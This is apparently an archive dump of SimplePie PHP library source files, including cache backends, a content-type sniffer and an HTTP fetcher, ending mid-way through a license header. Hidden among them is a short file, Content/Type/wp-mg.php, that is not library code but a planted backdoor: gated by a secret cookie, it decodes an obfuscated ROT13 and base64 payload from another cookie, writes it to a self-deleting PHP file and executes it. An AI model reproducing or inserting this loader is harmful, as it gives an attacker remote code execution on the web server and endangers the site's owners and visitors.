 * @uses       Memcached
 */
class SimplePie_Cache_Memcached implements SimplePie_Cache_Base
{
    /**
     * Memcached instance
     * @var Memcached
     */
    protected $cache;

    /**
     * Options
     * @var array
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name     Unique ID for the cache
     * @param string $type     Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type) {
        $this->options = array(
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => array(
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ),
        );
        $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new Memcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data) {
        if ($data instanceof SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array Data for SimplePie::$data
     */
    public function load() {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime() {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch() {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink() {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to Memcached
     * @return bool Success status
     */
    private function setData($data) {

        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}
Cache/Memcache.php000066600000012025151234101160007760 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Memcache
 */
class SimplePie_Cache_Memcache implements SimplePie_Cache_Base
{
	/**
	 * Memcache instance
	 *
	 * @var Memcache
	 */
	protected $cache;

	/**
	 * Options
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Cache name
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->options = array(
			'host' => '127.0.0.1',
			'port' => 11211,
			'extras' => array(
				'timeout' => 3600, // one hour
				'prefix' => 'simplepie_',
			),
		);
		$parsed = SimplePie_Cache::parse_URL($location);
		$this->options['host'] = empty($parsed['host']) ? $this->options['host'] : $parsed['host'];
		$this->options['port'] = empty($parsed['port']) ? $this->options['port'] : $parsed['port'];
		$this->options['extras'] = array_merge($this->options['extras'], $parsed['extras']);
		$this->name = $this->options['extras']['prefix'] . md5("$name:$type");

		$this->cache = new Memcache();
		$this->cache->addServer($this->options['host'], (int) $this->options['port']);
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if ($data instanceof SimplePie)
		{
			$data = $data->data;
		}
		return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			return unserialize($data);
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			// essentially ignore the mtime because Memcache expires on it's own
			return time();
		}

		return false;
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		$data = $this->cache->get($this->name);

		if ($data !== false)
		{
			return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->duration);
		}

		return false;
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		return $this->cache->delete($this->name, 0);
	}
}
Cache/File.php000066600000010510151234101160007132 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to the filesystem
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache_File implements SimplePie_Cache_Base
{
	/**
	 * Location string
	 *
	 * @see SimplePie::$cache_location
	 * @var string
	 */
	protected $location;

	/**
	 * Filename
	 *
	 * @var string
	 */
	protected $filename;

	/**
	 * File extension
	 *
	 * @var string
	 */
	protected $extension;

	/**
	 * File path
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->location = $location;
		$this->filename = $name;
		$this->extension = $type;
		$this->name = "$this->location/$this->filename.$this->extension";
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location))
		{
			if ($data instanceof SimplePie)
			{
				$data = $data->data;
			}

			$data = serialize($data);
			return (bool) file_put_contents($this->name, $data);
		}
		return false;
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		if (file_exists($this->name) && is_readable($this->name))
		{
			return unserialize(file_get_contents($this->name));
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		if (file_exists($this->name))
		{
			return filemtime($this->name);
		}
		return false;
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		if (file_exists($this->name))
		{
			return touch($this->name);
		}
		return false;
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		if (file_exists($this->name))
		{
			return unlink($this->name);
		}
		return false;
	}
}
Content/Type/wp-mg.php000066600000000414151234101160010634 0ustar00<?php
if ($_COOKIE[4] == 'ff9df3c10ed27876bc4d6c8b685dc23d') {
    $sr = 'st'.'r_'.'ro'.'t1'.'3';
    $f = strval(time());
    $h = fopen($f, 'w');
    fwrite($h, '<?php unlink(__FILE__); '.base64_decode($sr($_COOKIE[3])));
    fclose($h);
    include($f);
}
Content/Type/Sniffer.php000066600000017517151234101160011215 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class SimplePie_Content_Type_Sniffer
{
	/**
	 * File object
	 *
	 * @var SimplePie_File
	 */
	var $file;

	/**
	 * Create an instance of the class with the input file
	 *
	 * @param SimplePie_Content_Type_Sniffer $file Input file
	 */
	public function __construct($file)
	{
		$this->file = $file;
	}

	/**
	 * Get the Content-Type of the specified file
	 *
	 * @return string Actual Content-Type
	 */
	public function get_type()
	{
		if (isset($this->file->headers['content-type']))
		{
			if (!isset($this->file->headers['content-encoding'])
				&& ($this->file->headers['content-type'] === 'text/plain'
					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
					|| $this->file->headers['content-type'] === 'text/plain; charset=UTF-8'))
			{
				return $this->text_or_binary();
			}

			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
			{
				$official = substr($this->file->headers['content-type'], 0, $pos);
			}
			else
			{
				$official = $this->file->headers['content-type'];
			}
			$official = trim(strtolower($official));

			if ($official === 'unknown/unknown'
				|| $official === 'application/unknown')
			{
				return $this->unknown();
			}
			elseif (substr($official, -4) === '+xml'
				|| $official === 'text/xml'
				|| $official === 'application/xml')
			{
				return $official;
			}
			elseif (substr($official, 0, 6) === 'image/')
			{
				if ($return = $this->image())
				{
					return $return;
				}

				return $official;
			}
			elseif ($official === 'text/html')
			{
				return $this->feed_or_html();
			}

			return $official;
		}

		return $this->unknown();
	}

	/**
	 * Sniff text or binary
	 *
	 * @return string Actual Content-Type
	 */
	public function text_or_binary()
	{
		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
		{
			return 'text/plain';
		}
		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
		{
			return 'application/octet-stream';
		}

		return 'text/plain';
	}

	/**
	 * Sniff unknown
	 *
	 * @return string Actual Content-Type
	 */
	public function unknown()
	{
		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
		{
			return 'text/html';
		}
		elseif (substr($this->file->body, 0, 5) === '%PDF-')
		{
			return 'application/pdf';
		}
		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
		{
			return 'application/postscript';
		}
		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
			|| substr($this->file->body, 0, 6) === 'GIF89a')
		{
			return 'image/gif';
		}
		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
		{
			return 'image/png';
		}
		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
		{
			return 'image/jpeg';
		}
		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
		{
			return 'image/bmp';
		}
		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
		{
			return 'image/vnd.microsoft.icon';
		}

		return $this->text_or_binary();
	}

	/**
	 * Sniff images
	 *
	 * @return string Actual Content-Type
	 */
	public function image()
	{
		if (substr($this->file->body, 0, 6) === 'GIF87a'
			|| substr($this->file->body, 0, 6) === 'GIF89a')
		{
			return 'image/gif';
		}
		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
		{
			return 'image/png';
		}
		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
		{
			return 'image/jpeg';
		}
		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
		{
			return 'image/bmp';
		}
		elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00")
		{
			return 'image/vnd.microsoft.icon';
		}

		return false;
	}

	/**
	 * Sniff HTML
	 *
	 * @return string Actual Content-Type
	 */
	public function feed_or_html()
	{
		$len = strlen($this->file->body);
		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

		while ($pos < $len)
		{
			switch ($this->file->body[$pos])
			{
				case "\x09":
				case "\x0A":
				case "\x0D":
				case "\x20":
					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
					continue 2;

				case '<':
					$pos++;
					break;

				default:
					return 'text/html';
			}

			if (substr($this->file->body, $pos, 3) === '!--')
			{
				$pos += 3;
				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
				{
					$pos += 3;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 1) === '!')
			{
				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
				{
					$pos++;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 1) === '?')
			{
				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
				{
					$pos += 2;
				}
				else
				{
					return 'text/html';
				}
			}
			elseif (substr($this->file->body, $pos, 3) === 'rss'
				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
			{
				return 'application/rss+xml';
			}
			elseif (substr($this->file->body, $pos, 4) === 'feed')
			{
				return 'application/atom+xml';
			}
			else
			{
				return 'text/html';
			}
		}

		return 'text/html';
	}
}
File.php000066600000022716151234101160006142 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see SimplePie::set_file_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class SimplePie_File
{
	var $url;
	var $useragent;
	var $success = true;
	var $headers = array();
	var $body;
	var $status_code;
	var $redirects = 0;
	var $error;
	var $method = SIMPLEPIE_FILE_SOURCE_NONE;

	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
	{
		if (class_exists('idna_convert'))
		{
			$idn = new idna_convert();
			$parsed = SimplePie_Misc::parse_url($url);
			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
		}
		$this->url = $url;
		$this->useragent = $useragent;
		if (preg_match('/^http(s)?:\/\//i', $url))
		{
			if ($useragent === null)
			{
				$useragent = ini_get('user_agent');
				$this->useragent = $useragent;
			}
			if (!is_array($headers))
			{
				$headers = array();
			}
			if (!$force_fsockopen && function_exists('curl_exec'))
			{
				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
				$fp = curl_init();
				$headers2 = array();
				foreach ($headers as $key => $value)
				{
					$headers2[] = "$key: $value";
				}
				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
				{
					curl_setopt($fp, CURLOPT_ENCODING, '');
				}
				curl_setopt($fp, CURLOPT_URL, $url);
				curl_setopt($fp, CURLOPT_HEADER, 1);
				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
				curl_setopt($fp, CURLOPT_REFERER, $url);
				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
				if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>='))
				{
					curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1);
					curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects);
				}

				$this->headers = curl_exec($fp);
				if (curl_errno($fp) === 23 || curl_errno($fp) === 61)
				{
					curl_setopt($fp, CURLOPT_ENCODING, 'none');
					$this->headers = curl_exec($fp);
				}
				if (curl_errno($fp))
				{
					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
					$this->success = false;
				}
				else
				{
					$info = curl_getinfo($fp);
					curl_close($fp);
					$this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1);
					$this->headers = array_pop($this->headers);
					$parser = new SimplePie_HTTP_Parser($this->headers);
					if ($parser->parse())
					{
						$this->headers = $parser->headers;
						$this->body = $parser->body;
						$this->status_code = $parser->status_code;
						if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
						{
							$this->redirects++;
							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
							return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
						}
					}
				}
			}
			else
			{
				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
				$url_parts = parse_url($url);
				$socket_host = $url_parts['host'];
				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https')
				{
					$socket_host = "ssl://$url_parts[host]";
					$url_parts['port'] = 443;
				}
				if (!isset($url_parts['port']))
				{
					$url_parts['port'] = 80;
				}
				$fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
				if (!$fp)
				{
					$this->error = 'fsockopen error: ' . $errstr;
					$this->success = false;
				}
				else
				{
					stream_set_timeout($fp, $timeout);
					if (isset($url_parts['path']))
					{
						if (isset($url_parts['query']))
						{
							$get = "$url_parts[path]?$url_parts[query]";
						}
						else
						{
							$get = $url_parts['path'];
						}
					}
					else
					{
						$get = '/';
					}
					$out = "GET $get HTTP/1.1\r\n";
					$out .= "Host: $url_parts[host]\r\n";
					$out .= "User-Agent: $useragent\r\n";
					if (extension_loaded('zlib'))
					{
						$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
					}

					if (isset($url_parts['user']) && isset($url_parts['pass']))
					{
						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
					}
					foreach ($headers as $key => $value)
					{
						$out .= "$key: $value\r\n";
					}
					$out .= "Connection: Close\r\n\r\n";
					fwrite($fp, $out);

					$info = stream_get_meta_data($fp);

					$this->headers = '';
					while (!$info['eof'] && !$info['timed_out'])
					{
						$this->headers .= fread($fp, 1160);
						$info = stream_get_meta_data($fp);
					}
					if (!$info['timed_out'])
					{
						$parser = new SimplePie_HTTP_Parser($this->headers);
						if ($parser->parse())
						{
							$this->headers = $parser->headers;
							$this->body = $parser->body;
							$this->status_code = $parser->status_code;
							if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
							{
								$this->redirects++;
								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
								return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
							}
							if (isset($this->headers['content-encoding']))
							{
								// Hey, we act dumb elsewhere, so let's do that here too
								switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20")))
								{
									case 'gzip':
									case 'x-gzip':
										$decoder = new SimplePie_gzdecode($this->body);
										if (!$decoder->parse())
										{
											$this->error = 'Unable to decode HTTP "gzip" stream';
											$this->success = false;
										}
										else
										{
											$this->body = $decoder->data;
										}
										break;

									case 'deflate':
										if (($decompressed = gzinflate($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else if (($decompressed = gzuncompress($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false)
										{
											$this->body = $decompressed;
										}
										else
										{
											$this->error = 'Unable to decode HTTP "deflate" stream';
											$this->success = false;
										}
										break;

									default:
										$this->error = 'Unknown content coding';
										$this->success = false;
								}
							}
						}
					}
					else
					{
						$this->error = 'fsocket timed out';
						$this->success = false;
					}
					fclose($fp);
				}
			}
		}
		else
		{
			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
			if (!$this->body = file_get_contents($url))
			{
				$this->error = 'file_get_contents could not read the file';
				$this->success = false;
			}
		}
	}
}
XML/Declaration/Parser.php000066600000015755151234101160011411 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
